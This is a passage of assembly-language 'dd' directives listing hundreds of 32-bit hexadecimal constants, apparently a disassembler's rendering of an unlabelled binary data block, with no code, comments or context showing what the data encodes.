		dd 427409h, 5B31FFC3h, 0DCFC95E8h, 4EB04C05h, 8FC3527Ah
		dd 0E30198A4h, 3BE2180Ah, 0C5091858h, 0D1E85D78h, 0BC22418h
		dd 0CC78F48h, 7F265149h, 973B8468h, 64052C29h, 0C4CD0C81h
		dd 3181B80Fh, 0FEEE09BEh, 8E218311h, 0C07C49C3h, 5C47167h
		dd 7A7066E1h, 0AA5C0051h, 0C018F1AFh, 1CC7253Ah, 920044B1h
		dd 12A13DC3h, 8109008Bh, 0FB3E37CFh, 0D24CC60Eh, 5ADB0087h
		dd 74B70E2h, 119303FFh,	64E547D8h, 0A71DF4E8h, 3E448017h
		dd 26188EA8h, 930E7189h, 0A1D0A41Ch, 5D3E8C40h,	6385B7CCh
		dd 91242036h, 0C3222900h, 72D06F17h, 5FA400FCh,	813DA5DCh
		dd 0C8A083AFh, 0B9E40B8Dh, 0CE023600h, 1A7E9878h, 4DD2E275h
		dd 8E00FCFCh, 0C5F077F7h, 60002E03h, 96446AD3h,	153821h
		dd 0DE019B3Bh, 4A67460Eh, 3D1D7A00h, 8FD40C0Fh,	0F4F854CDh
		dd 0D087005Bh, 1223D1CCh, 244AF221h, 726BB890h,	0E7A009Bh
		dd 51A1B1E1h, 3201AE08h, 386C7709h, 40807D37h, 0AF7C2BDh
		dd 84924C0Eh, 61734236h, 49AD05A8h, 23978BF4h, 297C42CCh
		dd 0CFC64C00h, 80099C27h, 0F785Bh, 0C3D9240Ah, 8D7E4250h
		dd 0C4D2C000h, 5E01F114h, 0F8891C0Ch, 9559875Ch, 43360769h
		dd 1111A623h, 0EC808F02h, 9848E732h, 3135ED88h,	34157F9h
		dd 58B6DDC6h, 5C33FE04h, 0E0E010F5h, 0C0C9FBE6h, 7281A621h
		dd 360C3E6Eh, 9471791h,	621C0BCh, 12C8728Ah, 63D61900h
		dd 88C0D3Fh, 0EBF900F7h, 30B55A66h, 49284EEEh, 7D0638BFh
		dd 175D86C5h, 0F3232E11h, 0E19E03D5h, 9F1B155h,	802BD156h
		dd 0B8FB5A21h, 3063D4Fh, 0E563BABFh, 5100B111h,	74C1B341h
		dd 605E610Bh, 9CA4D9F2h, 1A3FAB0Ch, 9B500069h, 27E6728Ch
		dd 406600DEh, 0ED03DBB4h, 49C0B311h, 9D886496h,	0A982033Ch
		dd 0AA5A35F5h, 2101AFA3h, 1E886CFFh, 0F741EBA0h, 0A19E0F3Bh
		dd 0FCBB4763h, 7D7AD0CFh, 9B011593h, 4D6DCCA6h,	2987053Ah
		dd 0CA12880Bh, 80841180h, 9ED6B8E5h, 22564351h,	0ED5C0020h
		dd 5EBEF7B8h, 0F605BFD1h, 92A6B90Bh, 76B5C420h,	0CDA9C0B4h
		dd 0BDB2867Ch, 77400B00h, 0F3B88E69h, 0F80329DCh, 886D0178h
		dd 186A3CA0h, 55F488ADh, 0ABBC8900h, 0FF744DD9h, 881E9814h
		dd 0E6DFE6B0h, 58F26480h, 886B60F6h, 503C6882h,	0A1912Ch
		dd 318953F6h, 0F86676h,	0F0D88E4Ch, 0DC778A93h,	0FF329A01h
		dd 35304D06h, 0C1325022h, 10C087E9h, 82015966h,	956FC09Dh
		dd 0AAC492E1h, 0CC27024Dh, 0C890A699h, 65A48C90h, 0F6411318h
		dd 68B93B9h, 5C9B8CE0h,	0E0061C7h, 14B9014Ah, 0C2B52B4Bh
		dd 183F4C28h, 0CEE6F090h, 4D488872h, 48141464h,	5CFD8384h
		dd 40296693h, 990119F4h, 856D86C9h, 0D448FED4h,	4174060Ch
		dd 0E86850DBh, 304CC704h, 8C88C5BBh, 0F4048C83h, 0D99ED7B8h
		dd 59202262h, 0EEB8FCh,	5B5335D1h, 7D5401BBh, 0D0B47B0Ah
		dd 0A78DB8BEh, 0CEE13194h, 91C5C8BDh, 0EE818970h, 0A29EEDB8h
		dd 2E443868h, 0B8F60043h, 28552FA3h, 5F304B01h,	457F1F3h
		dd 3DA800ACh, 56879B11h, 39C0275Ch, 378E65F3h, 138D0084h
		dd 0F6DC0642h, 8200C18Ch, 0F927A52Eh, 0D0EF5CDBh, 2DB84C31h
		dd 0CF200E8Ch, 0F26280C0h, 0B084E20Bh, 856608A0h, 45514014h
		dd 4FC012F0h, 1920F590h, 434C4A91h, 98A18BA2h, 53C38FA7h
		dd 33F1E69Ch, 40F44806h, 909AFA44h, 0E4E08700h,	15A16020h
		dd 6647B9Dh, 5C31443Eh,	8900211Eh, 0B8FF564Bh, 3E14638h
		dd 0A654D098h, 9948439Ah, 48C7CD8h, 3E61729Eh, 20BB626Eh
		dd 2D72870Bh, 0C8137E26h, 0FF567042h, 97E35B0Eh, 1900A512h
		dd 7F3DFAFFh, 7CBAD6h, 266507F8h, 0E79CB1D0h, 913CB202h
		dd 404E0A92h, 0C1BA12BCh, 0E79F8A39h, 0E214FD46h, 1B3BB380h
		dd 0C1043C4Ah, 19A26265h, 0FC251C8Ch, 446B6731h, 0DFADC029h
		dd 9A007D8Fh, 5B0CCF34h, 545E6AABh, 484DC4Bh, 0F5010636h
		dd 0AEC0EFB1h, 0E07107DBh, 0E2B000C2h, 0C937D47Bh, 5630B56Fh
		dd 59C6F95Eh, 0EED81EECh, 0CA374372h, 830F17Ah,	0E43A5946h
		dd 6FB30FD8h, 0FC948FA6h, 0AA2E798Fh, 1B5CE182h, 85FBCCA0h
		dd 640070BAh, 0C3BBADFEh, 9A9576B4h, 9AA719F4h,	225F41B5h
		dd 0BE150038h, 0F0DD63A0h, 0D58003A6h, 0A74359FEh, 0D06483EAh
		dd 6202FB46h, 723C9F88h, 0F110AB31h, 761D886Ah,	0B4075DC9h
		dd 12B30E65h, 0A0211FA2h, 0F56040BCh, 0F02A8C97h, 2FF29F00h
		dd 27EA01D8h, 725702B5h
		dd 4414D5A7h, 764C9490h, 9ACDD601h, 7A01993Ah, 341CD845h
		dd 729B01A3h, 18663E64h, 840C88B2h, 2CC77200h, 8A1DF97h
		dd 1A0E0AB4h, 8188495Fh, 0EE7045D6h, 1537C09Bh,	58D2B707h
		dd 0C1C009DBh, 5E3EF97h, 324D384Ah, 0BD048812h,	0BAB488h
		dd 1A16D853h, 4C5F56C3h, 0DF4E59C0h, 1BA8FC9h, 0DD41620Fh
		dd 0E85380E2h, 0B42C95F4h, 5D44707Ah, 8750C8h, 73A51A64h
		dd 5080A02Bh, 2EF00F00h, 179C8568h, 6A2F00CFh, 560206A6h
		dd 0B45866B7h, 86C1C0B8h, 7CD42954h, 0AC784863h, 0C592A783h
		dd 9FE7B117h, 0C0FC3808h, 3C9C8861h, 88728A46h,	880769F0h
		dd 11AED470h, 8F6E8000h, 99A61848h, 12E659B7h, 80184B9h
		dd 4ACCC385h, 160A66D0h, 80999FEh, 0FA9D1D74h, 16E8E80h
		dd 1283C928h, 4B848A4h,	0C84D3FD4h, 0C588BC8Ch,	0E0DF3E80h
		dd 0DB486C00h, 72EC05ACh, 0E1024304h, 898E4F9h,	2160FA9Fh
		dd 8C0863Eh, 1E7288h, 2C27EF29h, 0A1191276h, 67BACD04h
		dd 40A05F16h, 2F981CC6h, 276246E5h, 183A7130h, 0DCB829B5h
		dd 0D2121E11h, 0A49C00B7h, 0D185A5E6h, 42D9FC91h, 0A7FC5F18h
		dd 0F32EDB76h, 0CB40EC5Dh, 742DFAF6h, 90DE01A2h, 5C6EAB70h
		dd 0D4218015h, 48BAE23h, 35320039h, 0BF9DF6D1h,	5504820Fh
		dd 0CDB55D74h, 2CCE1488h, 0A41C2FFDh, 600C6080h, 0D2041C6Ch
		dd 5024B293h, 0E8B5BC98h, 0A741C3B9h, 0D96FCB9Bh, 3906D158h
		dd 317D25C9h, 0BF7422h,	0EA8479D6h, 774266A1h, 346A5F26h
		dd 0A17944A9h, 2918A218h, 9881BEFDh, 0CEEA0099h, 6C972A1Fh
		dd 609909C4h, 0EB18ADD1h, 9D7B4700h, 481352C9h,	2E4499F5h
		dd 0D2FF419Ch, 94242C72h, 7921B4h, 0F899F335h, 900174FEh
		dd 50E05AFDh, 2473D49Bh, 5F3029A2h, 0E19728FFh,	586D59C4h
		dd 0B2E8B44Ch, 0A83A0D8Ch, 0F4A0F34Ah, 0E500C74Dh, 0E6BD5F79h
		dd 4866CDB8h, 7680045Eh, 5ABED7E4h, 3239A07Fh, 20C12183h
		dd 88301788h, 23903EC5h, 0A0D20020h, 373C1450h,	7EDE0712h
		dd 0FB053431h, 91E02820h, 18B379ECh, 2E621F01h,	9680818Fh
		dd 70E78BD3h, 0FE882798h, 2931C0B4h, 2596A72Eh,	0C2227100h
		dd 8ABF355Ch, 0A64D110Ah, 0D2030991h, 5DBC6812h, 0D519C028h
		dd 2ED09A31h, 0BB988401h, 4E675E5Bh, 0C2FC38C9h, 0EB81B9Eh
		dd 10C83996h, 92F26686h, 3A4DD517h, 0F28F4031h,	3840D310h
		dd 0CB66FF1Eh, 3A29FDC1h, 298071A1h, 84018211h,	6FF2D0BAh
		dd 0B3F67701h, 3DFB40DDh, 613E1023h, 1063B1Dh, 4A90D4B7h
		dd 0C8C7402h, 3801D673h, 3EE33494h, 8038D465h, 178C2ABCh
		dd 205F4B32h, 7184C284h, 0BBFAF800h, 0C8E79D9Eh, 40BF1FF4h
		dd 1B5C731h, 0C85D443Bh, 0E4009FECh, 6202A3C8h,	4046E3h
		dd 1927F209h, 84F39799h, 7ACEDF00h, 8B86EBF8h, 38EA60DEh
		dd 0E7598A93h, 2C7DBC18h, 86D090h, 3815360h, 6BF4A70Dh
		dd 5600EB7Bh, 0CDBE5D85h, 60A3A879h, 1D37E4BBh,	9300E4A6h
		dd 1247ED3Ah, 788A5E16h, 3FEE0042h, 35AC8CF4h, 9800D541h
		dd 0CCA7F663h, 24A68D6Fh, 8E08B99Ah, 6B447190h,	0FA0C8CC2h
		dd 0E6985F00h, 6AE3C8A4h, 54557942h, 34AECA8h, 31D72984h
		dd 0D0F01D8Ch, 301DD45Bh, 8B05CDBh, 3C00FA9h, 0B64EE3BAh
		dd 0D3A3EAF3h, 0EC33BBB1h, 407CE7F5h, 0EC4F3Eh,	31F84A92h
		dd 78E648B7h, 9BB33A34h, 4110C630h, 0BD7020B5h,	0D400BA7Ch
		dd 0CAC2C07h, 0F7C74Ch,	0BB7E33E9h, 46C04DF9h, 0B631FA0Fh
		dd 0C24380BAh, 0F042EC4Ah, 0DDEE741Ah, 80410130h, 0D04BEDF6h
		dd 480008BBh, 0F0E04CD3h, 28D649BAh, 8F6431EFh,	63F85D04h
		dd 102260B7h, 64E9324Ah, 0F0000CB9h, 67F1965Bh,	58B70C55h
		dd 0E608664Fh, 1200B8B2h, 4DC89664h, 163094h, 0C6AB2336h
		dd 0B92BEE67h, 2E27E003h, 64803246h, 61E66018h,	67CC95CCh
		dd 22B643CDh, 551103E3h, 212DDD96h, 0B1195AFBh,	97606A50h
		dd 0F4992000h, 47AA2505h, 6408316Dh, 9659C0EBh,	654667F3h
		dd 1000FB22h, 0D4AA9662h, 3D19BF84h, 9700460Eh,	1E563A94h
		dd 0C0C193B6h, 0F0571FD0h, 6E2899Eh, 11587355h,	0E53BBC00h
		dd 864B43FBh, 0CC14F2D7h, 721B508h, 61E52303h, 0C8822485h
		dd 0C1846636h, 8A66B58h, 0FBD08093h, 76C9EE6h, 8E9B2EA4h
		dd 0D1D600FFh, 32497BD9h, 26CE852h, 67F2965Ah, 10FA315Dh
		dd 0E96630Fh, 93D19D5h,	2D9AA280h, 9152B646h, 1E223C8h
		dd 67FC95D0h, 15280EADh, 298E7CA4h, 1FC85721h, 9C8A8353h
		dd 0D5E1FB3Eh, 0CDF99F93h, 34418252h, 0DF7A23A9h, 6D1420BEh
		dd 2B080C27h, 8500FA7Eh, 0C8545956h, 0D071C2D6h, 5448AA49h
		dd 3B00959Bh, 5908399Eh, 9A25B0h, 0F6187E4Ch, 62C2D1AAh
		dd 4039EC6Ah, 395BCF08h, 14A9C674h, 5500E9D2h, 0E4456DA7h
		dd 51CAE27h, 16DA3846h,	86C85FB6h, 2047E9A6h, 4ABB5101h
		dd 9A36DA31h, 0EF430FE2h, 601CAE5Fh, 0CB40E8DBh, 0EA665DDAh
		dd 0D6CD0707h, 60E29BB3h, 445BD522h, 0DCF31F1Bh, 0A1DDE389h
		dd 20F91224h, 56C4C7CBh, 1C3E2498h, 6343FCE5h, 600B411h
		dd 6477E526h, 240A89E1h, 983351CCh, 4FD83981h, 0F04F19B2h
		dd 0EEC0E688h, 9FB9440h, 0BF667BA1h, 1D0D4020h,	97249DD2h
		dd 0F780ECAAh, 3FB089F4h, 0FC8F49CAh, 0B743A608h, 8E180802h
		dd 6D9E0320h, 9C29A105h, 0F801F266h, 0B7864459h, 30608042h
		dd 43F6E538h, 0B3221346h, 0E5209C03h, 0A10DE241h, 0F841A9A4h
		dd 0F500BFDFh, 99492Fh,	6818F779h, 0D3F81C00h, 5432E652h
		dd 50D0A8BAh, 0B76414D4h, 0E423A8B8h, 0FE95CE01h, 0FA18BD67h
		dd 571388h, 0AECDBE96h,	2B832881h, 2F3BFB7Ah, 0CF6A18ABh
		dd 1F041D60h, 0B50ED7h,	220CEAD3h, 0CB642D21h, 6C8863F1h
		dd 0BB1C00C2h, 8B6ACA09h, 0BC02FC22h, 4AFFCDAEh, 0EC9448D3h
		dd 0A211006Bh, 23CA6D3Bh, 6701F501h, 6C54B725h,	63F84371h
		dd 54104806h, 1553F480h, 0ED185CD5h, 514907A6h,	4A26185Bh
		dd 0FEBB11D6h, 2FCF9109h, 58B883D7h, 0A4083007h, 91F71521h
		dd 53D3A801h, 0BD2A205Fh, 0C8FCC18Fh, 0C57778F0h, 0CAB16324h
		dd 0FF6E8501h, 0ECCCBD58h, 685D00FBh, 0C4777BF8h, 84002DCCh
		dd 0AEB6232h, 0CED8AAEDh, 1B3EFB69h, 0D3B81882h, 8DCABA9h
		dd 5A3AF500h, 6E53CC2Bh, 0CF267118h, 0A31F89C2h, 0F0C09016h
		dd 0B4EE8504h, 0DAB231EDh, 2041F859h, 0E3780F38h, 80486349h
		dd 43FDE539h, 0B7448C3Bh, 0E5210399h, 9667ADB3h, 4440AFE2h
		dd 4A241810h, 60058026h, 0E8242F20h, 232C8C82h,	8107D449h
		dd 0CF8A8E73h, 0D2720BE7h, 0CE308072h, 3EC1AB2h, 4C947BBDh
		dd 0AA9026CAh, 9BF6A26Ch, 23F0C70Eh, 0FA3620FEh, 372FF9D9h
		dd 3759B14Bh, 0B288F0B6h, 18000C01h, 0A22FF205h, 58224FD7h
		dd 508F408Bh, 0D027E1E1h, 4A7980C4h, 8D43BB53h,	0DA871215h
		dd 0E5AC088Bh, 0FD95CFC0h, 0B6B52167h, 96A01667h, 1D8ADC0h
		dd 2A612114h, 30097A9Ch, 0A4A1598Ch, 0F60031B3h, 11E53730h
		dd 882B43FFh, 1F9B87B6h, 321000E5h, 5A268483h, 410028E7h
		dd 63FB1A0Fh, 3581C0EEh, 0FDEA9994h, 0F7F1A200h, 692F7C40h
		dd 1EC87C1Ah, 26D32266h, 71510FCh, 9DACC10h, 0D04124F5h
		dd 3C19FE90h, 0D4B8A0FFh, 0B9163AB1h, 73806848h, 0D22219E6h
		dd 63A1FA09h, 0C6AC20B2h, 12326A2Dh, 590853ABh,	1857E8B0h
		dd 0F9E5083Dh, 0BFC45B43h, 0E5250540h, 60FA3AB2h, 3C5051FEh
		dd 37647EF8h, 670BA8h
		dd 0EEAB3A1Ah, 0E8710087h, 2E3F4819h, 0D258EB01h, 17CE400Fh
		dd 0EE69F882h, 5C40CD3Bh, 0E45463F8h, 15004CA0h, 9AB5AD40h
		dd 5A6F30h, 0BB920ADFh,	6CF6FC01h, 0D800D9F0h, 35C38D96h
		dd 92A5A7E0h, 0C0CDE43Ch, 55720CC9h, 0E714C9BFh, 24D22B57h
		dd 0E101091Fh, 0F4A75EB2h, 20E07181h, 87CF1952h, 0D15F5738h
		dd 49CE66h, 87844DB9h, 9FE52780h, 0AD13D978h, 14208BC0h
		dd 4C0FF930h, 129D10FCh, 0AAF0219Fh, 42B3F1ABh,	18640108h
		dd 0A6BC20Bh, 0AB7405AFh, 1D089C09h, 801B1104h,	54B4AE4Bh
		dd 1EFE1B37h, 42CC70BEh, 48D544AAh, 0FA96E79Ch,	58F8BAC3h
		dd 624FF43h, 7AF4001Ch,	0AF4B20FAh, 65D839C0h, 10A43C1h
		dd 72B9680Bh, 0F4514E46h, 0D10BF4C7h, 22D63E2Dh, 66A7EDF8h
		dd 564F0068h, 0D6C9E9CCh, 19C3B049h, 0E8FA32B1h, 1B9FB89h
		dd 9F5E0FBFh, 50C55320h, 0DE63ABB4h, 9688D450h,	4FCDFA0Ch
		dd 1E1FE925h, 14327282h, 7C58DC47h, 1940A2Bh, 0AB391A01h
		dd 881918E6h, 2AECE972h, 5ABCB707h, 90A95D30h, 7CD6BF8Ch
		dd 339E0093h, 362D7519h, 8402A769h, 0CC39A466h,	49248368h
		dd 0F8D15AA6h, 84B7000Ch, 0B4FE6441h, 40170B8Dh, 0A200F03Dh
		dd 9EACEB61h, 0EF169B13h, 0DC2F1417h, 2500B123h, 8D8E6451h
		dd 2B900289h, 62D0E18Ch, 303A2491h, 2358444Ch, 229AE014h
		dd 0DAE009E5h, 0C19A8EDh, 0ABF10946h, 1858E048h, 0F185F4DFh
		dd 4514AA20h, 221431BBh, 0C0CAFCA4h, 0D1E16D61h, 9D00965Dh
		dd 0A462BBB8h, 5B98606h, 0D33F6BA6h, 0E014CC60h, 773EEEE0h
		dd 91E58B16h, 20D404EBh, 8EF9B040h, 0CE00D6E7h,	8F2451A9h
		dd 1D8B69Dh, 17903AB1h,	204D7541h, 1D88C0D0h, 0E3F0F0Dh
		dd 4960815Ch, 0F7E48844h, 14784C5Dh, 0FC0E1CEh,	96DF69E6h
		dd 63B3B843h, 17D901E8h, 5DF2AAE4h, 300CF07Fh, 7F44B52h
		dd 2DF4F907h, 0A3B4DB60h, 653B0094h, 894D2061h,	0A717CBE2h
		dd 100957F5h, 90EC8A37h, 0C355983Fh, 6F51CDA1h,	0F729E134h
		dd 22CA9031h, 3315F264h, 41FADDE8h, 0A3DE9E13h,	693B2049h
		dd 0E1FCFB74h, 6E3E122Fh, 0D1D00975h, 0A4992444h, 0BD18FC71h
		dd 9F1AA103h, 0EF6B24A6h, 0C0828954h, 19FC30F7h, 4EAB3E08h
		dd 401A64A7h, 3619E465h, 0F16D1F73h, 5AD15F2Bh,	0CAC068DAh
		dd 2154591Fh, 5537CDC8h, 2DC7392Ah, 2FE890DBh, 0F29B169Fh
		dd 53E4020Dh, 0F8729E6Ah, 74658CA2h, 0DD60B5E4h, 5805C8F1h
		dd 149E1808h, 0AE4F9801h, 2992B8B6h, 809C04CCh,	1FD8035Bh
		dd 602904E6h, 40CA72D1h, 3A47C527h, 63D50F8Eh, 80FCA34Bh
		dd 1BF9A946h, 36030448h, 0C7FDC29Dh, 9BE10014h,	86704D26h
		dd 0C1608464h, 1C4AE830h, 7850071h, 2FC8D9ABh, 7891D062h
		dd 75CEEE03h, 1378A047h, 0A22400AFh, 6C522AE4h,	0A417B765h
		dd 0F0279EEDh, 752E1611h, 3120B184h, 870C4BCDh,	0FF87F720h
		dd 0F8E12EC6h, 623804F2h, 97D340AAh, 0FB28BC14h, 0CFC6050h
		dd 19E3168Ch, 0FC605037h, 70818CC8h, 3DB419EBh,	0F21EE0h
		dd 77C3396Dh, 4238102Dh, 474904Ah, 0A8F4CD1h, 311F6876h
		dd 9035E56Bh, 10ACB289h, 2C0E6780h, 82805A6Ch, 99A8641h
		dd 0A298020Bh, 61A04AE6h, 0BB10AA84h, 0BA005154h, 8AFCA2D8h
		dd 1F4239Dh, 971AA690h,	68B8D6AAh, 8CF8BC30h, 237639E6h
		dd 0C54444Ch, 81E7AE2Bh, 0D170B189h, 6D188Ch, 0B4A3DDA0h
		dd 88E414FBh, 80644A4Ch, 7D121335h, 0E8CD0054h,	1C461596h
		dd 4A00BE8Ch, 6D2EAF4h,	4F9C2AADh, 4F20030Ah, 0C0A4329Eh
		dd 6683A930h, 0A2FED40h, 0C6B3EF0Ah, 911826A4h,	36338E89h
		dd 0F8C8888Eh, 83D178C0h, 30C80016h, 0FAA081EDh, 6D4B828Eh
		dd 149ECC22h, 56038E9h,	4B38F308h, 993888h, 44963483h
		dd 0F7A0A53Ah, 0AB267090h, 76F488D6h, 64C80051h, 12F7E386h
		dd 0F6136A19h, 50C0B84Fh, 87DF407h, 31CA47D8h, 3022BC28h
		dd 0C7FC26B5h, 8F504070h, 0E1069827h, 13B811D5h, 1820DE1h
		dd 1F12FF5h, 0FC58E284h, 10A4EAC7h, 310DF0C9h, 5C1858E4h
		dd 494CE312h, 0F723502Fh, 1B7DDE00h, 0B293CCCh,	0FA462FD2h
		dd 0E1C3A861h, 6149E02Bh, 4A5BA678h, 0F723102Eh, 4632B300h
		dd 1E82FE47h, 905007D1h, 22C04C26h, 0D9193FA9h,	58F99800h
		dd 3DAC8A1Ah, 0BE478900h, 80754F2Eh, 0E16916E4h, 507C42F7h
		dd 20791F5Bh, 8491F38Bh, 20F30FFAh, 1800A322h, 8539910Ch
		dd 22D76177h, 0A904C6CFh, 90A09547h, 0F1A420D2h, 18F77954h
		dd 974D01DFh, 4B470A6Ah, 8A7980A7h, 5AA4C755h, 0BCF7005Dh
		dd 0D1EF19CDh, 0EE0E2A9Fh, 8262667Fh, 0D9CC8DD7h, 3C29025Ch
		dd 0FE00EA5Ah, 0B6E59EDDh, 1E560118h, 80A5A724h, 0A9B0B5C0h
		dd 7839E90h, 0D514640Eh, 8C57B25Dh, 80C3F5E2h, 92AB893Eh
		dd 5C2261EEh, 1350ECEBh, 80586B2Fh, 506C3598h, 20463118h
		dd 0EEF25469h, 291A00C7h, 84250F44h, 2FF42D9Bh,	0D9A1FD00h
		dd 0A7A8DF63h, 8A2E006Ah, 7205F204h, 9807838Bh,	0D0ABAE41h
		dd 0D2F7A540h, 3C9F1FE6h, 0B4B7C7F5h, 730381AFh, 354FF0EBh
		dd 0DE08F000h, 46043DFh, 8A0500EAh, 5463B720h, 680238A1h
		dd 9AF29140h, 97B4C0CBh, 0E21900F1h, 0A53ECC46h, 0DD5BC794h
		dd 80D01422h, 0FDDA30A0h, 0AB9C25EDh, 40C36C24h, 1395317Bh
		dd 0A87017C0h, 23303A6Ch, 0C59200B3h, 4D432FB0h, 80E4CA5Ch
		dd 10149034h, 0B9AE009Dh, 0ED77B8B1h, 0CA07E325h, 227251A3h
		dd 0E1D23962h, 0EBCCBFF4h, 7C640782h, 0CADE42F8h, 16AD38B3h
		dd 0FB91B89Dh, 4AF77F80h, 0F6391727h, 2555814Dh, 0E0DA548Bh
		dd 0AFD93021h, 3002063h, 7ACF52E6h, 0B700B56Ch,	1DDCB225h
		dd 58612099h, 8002C394h, 0D65A5424h, 0B2D930F1h, 0E21DD118h
		dd 0E3451256h, 0C4884A78h, 3E4F75E0h, 3DA45773h, 42BC1D77h
		dd 1C8CFA33h, 0EA7EA0C0h, 0E4E0EC83h, 0D14C995Ch, 2B518E6h
		dd 4E3080BCh, 0B082342Eh, 0CC71CB66h, 0DD191A71h, 0DC4CD188h
		dd 420B459Ch, 2AC9E66h,	0F98BC6A8h, 792C0F1Ch, 5E15A0A7h
		dd 5835DF80h, 921352C5h, 0E0DBD951h, 4ABBCE80h,	0E073C0Bh
		dd 92AC26B9h, 0A065F1F0h, 315A02E3h, 54253271h,	433E5072h
		dd 0A0B8327Eh, 20A46196h, 913AF418h, 1107A359h,	0D1B00A2h
		dd 821E1791h, 50FF2D12h, 0BF11E497h, 356CE683h,	0FAE3EB88h
		dd 0FAC75D39h, 4EA19A00h, 0B05C25FBh, 2A16284Fh, 0D32F0CCCh
		dd 0A9F9C8CFh, 87BF0D00h, 0EFB7CB32h, 757000E8h, 0B2522765h
		dd 1C27C6AEh, 4470167Bh, 80F1C76Eh, 26622419h, 37F2A0h
		dd 7BB1972Ch, 0A5881294h, 0AE20D43Fh, 83438E9h,	0E35BBCC1h
		dd 8C2DC064h, 283AD099h, 28C90C57h, 56B4E84Ah, 79D1007Ah
		dd 3B411649h, 0A2F6FE7h, 0C02C29BFh, 9E5620B8h,	9E438294h
		dd 1CD1A6B2h, 52562189h, 1F572E8Ch, 0D3430008h,	0CE481084h
		dd 0B4717E4Ah, 803947AAh, 0D7A5ED0Ch, 0CC2FDF91h, 2CECA154h
		dd 24D88BDAh, 0F4B90117h, 0DE362FD1h, 0C8508C1Ch, 0FE2929h
		dd 0ECA14AE2h, 0F8F96C76h, 2FFC2C1Bh, 73CBAAA1h, 955F5874h
		dd 0BE203CB8h, 0A696178Fh, 0DBB44173h, 2ADD5685h, 8B30DC08h
		dd 2CE453E7h, 0F4D1888Ah, 0F518B479h, 852CCA02h, 0F9495F36h
		dd 18F771C0h, 0F53A020Fh, 4B32AECFh, 953FBC7Ah,	762F809Fh
		dd 0A9A05322h, 0B09A5C82h, 162A4E08h, 0E7EDCF03h, 99E82CC1h
		dd 8BCA1348h, 0C81888B8h, 0E00B01FFh, 25539D52h, 0BCFC7DF4h
		dd 573034Fh, 0E762C587h
		dd 8BBCE900h, 228EB125h, 522AF2A5h, 18F2F4CCh, 7C5230h
		dd 2E2C67D6h, 38D3894Eh, 0BCA71AF0h, 160E344h, 84272A83h
		dd 5B8887EAh, 66BE5682h, 1D25466Ch, 2F4991FDh, 801045DFh
		dd 9691F612h, 2904F9EBh, 0D217D7DAh, 5E8B84A0h,	23882ECBh
		dd 0B59E0117h, 0D4FF0686h, 0F4A2A247h, 0E2084C47h, 0C8300032h
		dd 485B8057h, 0E626067Eh, 0A2978028h, 875488h, 1B6AB035h
		dd 0E3D3C0CBh, 15D58B01h, 0E5D220E9h, 0D0C2902Ch, 0ACF94CF7h
		dd 7418E679h, 0D08D2A12h, 2A2070A5h, 0D9A301ADh, 9CBEF4FDh
		dd 4C443C69h, 8CE3E8C0h, 0D2363905h, 50B443A9h,	0E3DD004Fh
		dd 57B9983Ah, 7D05F382h, 622FD71Dh, 0D9D8CCh, 3FDDC55Bh
		dd 424F0B1Ch, 0AA2C8098h, 0C744B446h, 3A45A4A4h, 2D787568h
		dd 0C8324EDCh, 8D11E817h, 0E591C780h, 0B11F8963h, 9D023F79h
		dd 5EBA500Fh, 4C2425E0h, 91F16021h, 0FF2F25CCh,	16806C65h
		dd 0F8AA910Ah, 1E5031CDh, 0BCD24971h, 80E6BE21h, 3F622EE8h
		dd 95600E4Bh, 8045A089h, 0A360C0C4h, 0C2053AD1h, 0EB62310Ah
		dd 0A3CB984Eh, 0D0802CB9h, 16C9D1EDh, 9066D43h,	0CE018424h
		dd 0D53E3027h, 88698Eh,	0A7C91DF4h, 60C70CF7h, 0B4DCB923h
		dd 94002404h, 211C8138h, 0D4088h, 16B89873h, 0C64D1D52h
		dd 96D9C510h, 0A8214C4Dh, 0E840C40Ah, 7E09081Dh, 20FC7283h
		dd 0F8C8BC9Bh, 91F2C322h, 0CEF755D7h, 0B190038h, 9CD12291h
		dd 0A2D60054h, 0FB5843EBh, 2DEC85CDh, 0A21D8C8h, 0CB93B2Fh
		dd 3410811Ah, 4CA02DF7h, 906725E8h, 900E84D0h, 4FD505E0h
		dd 80231756h, 0FB303950h, 17CACF25h, 463D24h, 521CEC9Bh
		dd 1830150Ah, 881AFE4Eh, 0D84053C7h, 269C1289h,	0BC48B0E4h
		dd 30414963h, 1FCBA9FCh, 42EC8985h, 56C502F5h, 0C4564A1Eh
		dd 0A2B4D003h, 0AAE7D141h, 2E69430h, 0A6695CDAh, 0B085C5D7h
		dd 2F60C095h, 0B4942E24h, 0F6DDFC01h, 2870DBFDh, 3046012Ch
		dd 20C6A5B3h, 51C4609Fh, 2DDD0C80h, 0BC01E796h,	20EB8756h
		dd 22F1DAF0h, 1C22CCh, 9323048Ch, 4784A849h, 0D4CC9401h
		dd 0C92FF667h, 162C4083h, 687CA538h, 0B3DF9618h, 0C9D21E19h
		dd 58DB4AD1h, 1D40858h,	159C1EBEh, 3B9D5B42h, 0BAA8BC08h
		dd 11F873A6h, 19FD80F6h, 0B146AB3Dh, 0E566C0C4h, 38009119h
		dd 0AB047222h, 80FBFE83h, 3050A963h, 0F7100AB4h, 0E0ECE9Bh
		dd 38666A1Dh, 912E10C7h, 7DC60E1h, 78670B94h, 0F492FBEDh
		dd 0FA7954D1h, 4D023918h, 0B25A22A4h, 4BCF9B3h,	80034CA8h
		dd 0ED8B2CBCh, 8FEED902h, 50724692h, 0A8C49438h, 0F2CC000Ch
		dd 440D6177h, 0B74ED356h, 612BF082h, 0DC4F60C0h, 0A5C0FB88h
		dd 7D08CC5h, 2B489DA6h,	3BAA81C3h, 0D522C082h, 97B25D25h
		dd 808D91E0h, 0B82B499Eh, 0DA910295h, 2DB08EFBh, 711DD861h
		dd 3B70004Ch, 1B12CBB3h, 0C002147Ah, 0DAFA54h, 4FF053A9h
		dd 2208154Dh, 6055F829h, 1FF4113h, 309E95F2h, 0B0465Eh
		dd 656E7721h, 0B43882Eh, 2F54E844h, 5D1DA044h, 680049BEh
		dd 36C0F672h, 0B7B93FC3h, 4105FB80h, 212F6562h,	94000BEh
		dd 5F7D337h, 8BA6EA57h,	0E298E0C8h, 113C9795h, 4D4380B1h
		dd 6D815CDh, 0CFF17606h, 260021C3h, 0D30705BCh,	904BD7BDh
		dd 3EFB2804h, 6BCA5F90h, 413C34h, 0A7C00C4Fh, 14C6922Ch
		dd 0D4DAAA2Dh, 8261D887h, 7C5AE1DCh, 0FC28A64Fh, 0E97E01BFh
		dd 41452169h, 3324757Fh, 30BFA2ACh, 27013513h, 295E28A2h
		dd 72FA7DE5h, 86740058h, 9C1C7071h, 441E76D4h, 91806F51h
